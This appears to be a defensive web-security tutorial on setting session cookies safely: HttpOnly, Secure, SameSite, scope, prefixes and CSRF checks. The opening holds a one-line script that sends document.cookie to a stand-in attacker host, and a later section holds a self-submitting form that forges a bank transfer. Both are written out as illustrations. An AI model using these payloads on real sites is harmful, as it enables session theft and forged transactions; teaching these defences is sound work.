Cookies Done Right: httpOnly, SameSite, Scope
Someone finds a way to run one line of JavaScript on your page. Maybe a comment box renders HTML it shouldn’t, maybe a dependency three levels deep got hijacked. It doesn’t matter how. One line runs:
new Image().src = "https://evil.example/c?" + document.cookie;
If your session lives in an ordinary cookie, it just left the building. The attacker has the string now, and the string is the login. They replay it from a laptop in another country and your server cannot tell them apart from the real user. No password prompt, no second factor, nothing.
Now set the cookie with four extra characters: HttpOnly. That same line of JavaScript reads an empty string. document.cookie no longer contains the session at all. The cross-site scripting hole is still a serious problem, but the one attack that scales (grab the token, walk away, replay it forever) is gone.
That is the whole shape of this topic. A Set-Cookie header looks like a boring config string. It’s actually a row of security switches, and every switch turns off a specific attack. Flip the wrong ones and you ship a session that anyone can steal. This article walks the switches one at a time. For the browser-side document.cookie reading and writing API, and how cookies travel on requests in the first place, see Cookies, document.cookie. Here we care about what the server sets and why. For what you should actually put inside the cookie (an opaque id, almost always), see Sessions vs JWT.
The header, annotated
Here is a session cookie set the way you’d want it in production:
Set-Cookie: __Host-sid=aG7k39fZ...; Secure; HttpOnly; SameSite=Lax; Path=/
Nothing on that line is decoration. Each piece closes a door.
Let’s earn each one.
HttpOnly: take the token out of JavaScript’s reach
A cookie marked HttpOnly is invisible to page scripts. document.cookie won’t return it, the Cookie Store API won’t return it, and no clever Object.defineProperty trick gets it back. The browser keeps it in a place your JavaScript simply cannot reach, and still attaches it to every request the way it normally would.
Be honest about what this buys you. HttpOnly does not fix cross-site scripting. An attacker running script on your page can still make requests as the user, because the browser attaches the cookie to those requests for them. They can transfer money, change the email, delete the account, all while the page is open. What they cannot do is copy the raw session string and reuse it later from their own machine, or sell it, or replay it after the user closes the tab. It converts “permanent, portable account takeover” into “mischief that lasts as long as this one compromised page stays open.” That is a large downgrade in blast radius, and it costs you one word.
Secure: never in cleartext
Secure tells the browser to attach the cookie only on HTTPS connections. Send a request to http://yourapp.example and the cookie stays home. (Localhost is exempt, so your dev setup keeps working over plain http.)
Why bother, when your whole site is already HTTPS? Because “already HTTPS” has gaps. A stray http:// link in an old email, a hardcoded http:// asset, a captive-portal redirect, an attacker on the same coffee-shop network forcing a downgrade. Any single plaintext request to your domain would carry the cookie across the wire in the clear, where anyone between the laptop and the server can read it. Secure makes that impossible by construction.
There’s a subtler reason too. Without Secure, an attacker who can inject traffic on a plaintext connection can set or overwrite your cookies, even for the HTTPS version of the site, because cookies don’t cleanly separate by scheme. Secure (and the __Host- prefix below) shuts that down. Set it on every cookie that isn’t meant for an anonymous, public, cache-friendly page. For anything tied to a user, always.
SameSite and the CSRF story
This is the big one, and it needs the attack explained first, because the attribute only makes sense once you’ve seen the bug it patches.
The whole bug in one sentence
The browser attaches your cookies to a request based on where the request is going, not who started it. Any page in the world can make your browser send a request to yourbank.example, and your browser will happily attach your logged-in cookie, because the request is going to the bank. The bank sees a perfectly authenticated request and has no built-in way to know it was triggered by a hostile page in another tab.
That’s Cross-Site Request Forgery. The attacker never sees your cookie (so HttpOnly doesn’t help here). They don’t need to. They just need your browser to fire a state-changing request while your session cookie rides along automatically.
The classic version is a hidden form that submits itself:
<!-- sitting on evil.example, runs the moment you load the page -->
<form action="https://yourbank.example/transfer" method="POST" id="f">
<input name="to" value="attacker-account">
<input name="amount" value="5000">
</form>
<script>document.getElementById("f").submit()</script>
You visit evil.example for an unrelated reason. The form auto-submits a POST to the bank. Your browser attaches your bank session cookie. If nothing stops it, the transfer goes through.
Strict, Lax, None
SameSite controls exactly this: whether the browser attaches the cookie on requests that originate from a different site.
Strict: never sent on any cross-site request, full stop. Even a normal top-level link from another site to your app arrives with no cookie.Lax: sent on same-site requests, plus one cross-site case, a top-level navigation using a safe method (aGETwhen the user clicks a link or the address bar changes). Not sent on cross-sitePOST, not sent on cross-site subresources like images, scripts, iframes, orfetch.None: sent on every request, cross-site included. RequiresSecure, and if you forget theSecure, modern browsers reject the cookie outright.
For a login session, Lax is almost always right. It kills the form-POST and hidden-image versions of CSRF outright, while still letting a user click a link from their email and land logged in. Strict is tighter but has a jarring side effect: follow a link to your app from anywhere else and you arrive logged out, because that first navigation carried no cookie. A lot of teams turn on Strict, get bug reports about “random logouts when clicking links,” and quietly switch to Lax. Reserve None for cookies that genuinely have to work inside someone else’s site (an embedded widget, an SSO flow in an iframe), and understand you’re opting back into the cross-site behavior on purpose.
Why “Lax is the default now” is only half true
You will read that browsers default to SameSite=Lax, so surely you’re covered even if you forget. Be careful with that.
And one thing Lax does not fix, in any browser: it still sends the cookie on a top-level cross-site GET. So if you have an endpoint that changes state on GET (a GET /logout, or worse a GET /transfer?to=...&amount=...), an attacker can trigger it with a plain link or a redirect and the cookie comes along. This is the old rule with fresh teeth: never mutate state on a GET. SameSite assumes you follow it.
Domain and Path: how far the cookie reaches
By default a cookie is host-only. Set it from app.example.com with no Domain attribute, and the browser sends it back only to app.example.com. Not to example.com, not to any sibling subdomain. That is the safe default, and most of the time it’s the one you want.
Add a Domain attribute and you widen the blast radius:
Set-Cookie: sid=...; Domain=example.com
Now the cookie goes to example.com and every subdomain: app.example.com, blog.example.com, status.example.com, promo-2021.example.com, and whatever-a-teammate-spun-up-last-year.example.com. The leading dot you may have seen (Domain=.example.com) is ignored by modern browsers; with or without it, the cookie spreads to all subdomains.
Here’s where it bites. If any of those subdomains runs code you don’t fully control (a marketing site on a third-party CMS, a status page from a SaaS vendor, a sandbox where users can host their own pages, an old app nobody has patched in two years), it now receives your session cookie on every request. A cross-site scripting bug over there, which you were never watching, becomes account takeover on your main app. You widened the trust boundary to include machines you forgot you owned.
Widen Domain only when you have a genuine need, like a single session shared across app.example.com and api.example.com that you both control. The moment you do, every subdomain under that parent is part of your security perimeter. Budget for that.
Lifetime: session cookie vs Max-Age
Leave off both Max-Age and Expires and you get a session cookie. It lives in memory and is meant to vanish when the browsing session ends.
Set either one and you get a persistent cookie that survives restarts until it expires:
Set-Cookie: sid=...; Max-Age=1209600 ; two weeks, in seconds
Set-Cookie: sid=...; Expires=Tue, 01 Sep 2026 10:00:00 GMT ; an absolute date
Max-Age is seconds from now and is the one I reach for, because it doesn’t depend on the client’s clock being correct. Expires is an absolute timestamp. If you specify both, Max-Age wins. Setting Max-Age=0 (or any value in the past for Expires) is how you delete a cookie: you send a Set-Cookie for the same name that immediately expires.
One deletion gotcha that eats an afternoon: to delete a cookie you have to send back the same Path and Domain you set it with. A cookie set with Domain=example.com; Path=/app is a different cookie from a host-only one at /, and clearing the wrong scope leaves the real cookie sitting there, still logging the user in. If you can’t figure out why logout “doesn’t work,” check that the expiring Set-Cookie matches the scope of the original exactly.
Prefixes: let the browser enforce your intentions
Everything above is a rule you have to remember to follow. The __Host- and __Secure- name prefixes flip that around: the browser refuses to store the cookie unless the rules are met. They’re free hardening, and they turn a silent misconfiguration into a loud one.
__Secure-: the browser only accepts the cookie if it hasSecureand was set over HTTPS. Name the cookie__Secure-sidand you can no longer accidentally ship it withoutSecure; the browser drops it if you try.__Host-: stricter. The browser only accepts it if it hasSecure, was set over HTTPS, has noDomainattribute (so it’s host-only), and hasPath=/. This is the whole “don’t widen the scope” section, enforced for you.
Set-Cookie: __Host-sid=aG7k39fZ...; Secure; HttpOnly; SameSite=Lax; Path=/
Two caveats. Prefixes are matched case-sensitively and are only enforced by browsers that understand them; every current major browser does, but a truly ancient client would treat __Host-sid as an ordinary name with no guarantees, so keep the actual attributes on the cookie too rather than relying on the prefix alone. There’s also newer work on __Http- and __Host-Http- prefixes that additionally require HttpOnly and forbid JavaScript from setting the cookie at all. Support for those is still landing across engines as of 2026, so treat them as an emerging extra, not a baseline you can depend on yet.
Defending CSRF properly
SameSite is your first line, but it has holes (the GET case, browsers that don’t default it, the shrinking Lax+POST window). Real apps layer a second check that doesn’t depend on cookie policy at all. You have a few good options, and they compose.
Check the request origin. For every state-changing request, look at the Origin header and reject anything that isn’t your own origin. Browsers send Origin on all POST/PUT/PATCH/DELETE requests, an attacker’s page cannot forge it (it’s set by the browser, not the page), and it’s a handful of lines of middleware:
const ALLOWED = new Set(["https://app.example.com"]);
function sameOriginOnly(req, res, next) {
if (req.method === "GET" || req.method === "HEAD") return next();
const origin = req.headers.origin;
if (!origin || !ALLOWED.has(origin)) {
return res.status(403).json({ error: "cross-origin request refused" });
}
next();
}
Or use Sec-Fetch-Site. Browsers now send fetch-metadata headers describing where a request came from. Requiring Sec-Fetch-Site: same-origin (or same-site) on state-changing endpoints rejects forged cross-site requests before they reach your logic. Chrome, Edge, and Firefox have sent these for years; Safari added them in 16.4 (2023), so as of 2026 you can count on them across current browsers, with a fallback to the Origin check for anything old.
Or a CSRF token. The traditional answer. Put an unpredictable value somewhere the attacker’s cross-site request can’t reproduce, and check it server-side:
- Synchronizer token: the server generates a token tied to the session, embeds it in the page (a form field or a meta tag), and every mutating request must echo it back. The attacker’s page can’t read your HTML (that’s the same-origin policy), so it can’t get the token.
- Double-submit: send a random value in both a cookie and a request header, and check they match. It needs no server-side storage, which is why stateless APIs like it, but bind the token to the session (sign it) so a subdomain can’t inject a matching pair.
Keep cookies small
The spec says a browser must support at least 4096 bytes for a single cookie, counting the name, the value, and the attributes together. Real browsers land right around there. Go over, and the cookie doesn’t error. It just silently doesn’t get stored.
That failure mode is nasty precisely because it’s silent. A team crams user roles, feature flags, and a display name into a self-contained token, it works great in testing, and then a user with a long name and a dozen roles crosses 4 KB and starts getting “randomly logged out.” Nothing in the logs, because from the server’s side the browser simply stopped sending a cookie it was never able to save.
There’s a running cost too. Every cookie in scope is attached to every matching request, including images, scripts, and API calls. A 3 KB cookie is 3 KB of overhead on every single request to your origin, forever. That adds up fast on a page with a hundred assets.
The fix is the same one from Sessions vs JWT: put a short opaque id in the cookie and keep the actual data on the server. A session id is 32 bytes of random. Everything else lives in a store you can read, update, and delete, none of it riding along on every request. Cookies are an identifier channel, not a database.
Third-party cookies, honestly
You’ve heard that third-party cookies are dying. The reality in 2026 is messier. Google spent years planning to remove third-party cookies from Chrome, then in 2025 reversed course: Chrome keeps them, gated behind a user choice rather than a forced deprecation, and most of the surrounding Privacy Sandbox effort was wound down. Meanwhile Safari, Firefox, and Brave have blocked third-party cookies by default for years and still do, which leaves roughly a fifth of traffic cookieless in third-party contexts no matter what Chrome does. The practical lesson stands regardless of the politics: a cookie you set in one site’s iframe on another site’s page cannot be relied on. Don’t design auth that depends on it.
What survived the cleanup and is worth knowing is CHIPS, partitioned cookies. Add Partitioned (with Secure) and the cookie is double-keyed: by the origin that set it and by the top-level site it was set under. An embedded chat widget on shopA.example gets a completely separate cookie jar from the same widget on shopB.example. It can keep per-site state for a legitimate embed, and it’s useless for tracking a user across sites, which is the entire point. If you genuinely need a session inside a cross-site iframe, the modern shape is SameSite=None; Secure; Partitioned, and you should still test it in the browsers that block unpartitioned third-party cookies.
A cookie attribute lab
Toggle the attributes below and watch what each one does across the scenarios an attacker (and a normal user) will actually put your cookie through. No network is involved. This is the rule table your browser applies, made visible.
Flip SameSite to None and watch the image and POST rows go red: that’s the CSRF surface reappearing. Turn off Secure while SameSite is None and the whole cookie is rejected. Turn off HttpOnly and the XSS row turns into a theft. The healthy configuration is the one you started with.
Summary
- A
Set-Cookieheader is a set of security switches. Set them deliberately on every cookie tied to a user. HttpOnlyhides the cookie from JavaScript, so an XSS bug can’t exfiltrate the session and replay it elsewhere. It doesn’t fix XSS, it shrinks the damage.Securekeeps the cookie off plaintext connections, closing the sniffing and downgrade routes.SameSiteis your CSRF control.Laxis the right default for sessions; it blocks cross-site POSTs and subresources while letting links work. Set it explicitly, because the browser default is Chromium-only, weaker (the Lax+POST window), and absent in Firefox and Safari.- Never change state on a
GET.SameSite=Laxstill sends the cookie on top-level cross-site navigations. - Leave
Domainoff to keep the cookie host-only. Widening it to the parent domain hands your session to every subdomain, including ones running code you don’t control. Pathis organization, not isolation. Same-origin pages read across paths.- Prefer a server-side session TTL over the cookie’s lifetime. Session cookies can survive “reopen my tabs.” Delete a cookie with the same name,
Path, andDomainyou set it with. - Prefix session cookies with
__Host-so the browser enforces Secure, host-only, andPath=/for you. Cheapest win here. - Defend CSRF in layers:
SameSiteplus anOriginorSec-Fetch-Sitecheck, or a token. A JSON-only API that requires a custom header and keeps CORS strict is already hard to forge. - Keep cookies under ~4 KB or the browser silently drops them. Store an opaque id, keep data on the server.
- Third-party cookies are unreliable across browsers; don’t build auth on them.
Partitioned(CHIPS) covers legitimate cross-site embeds.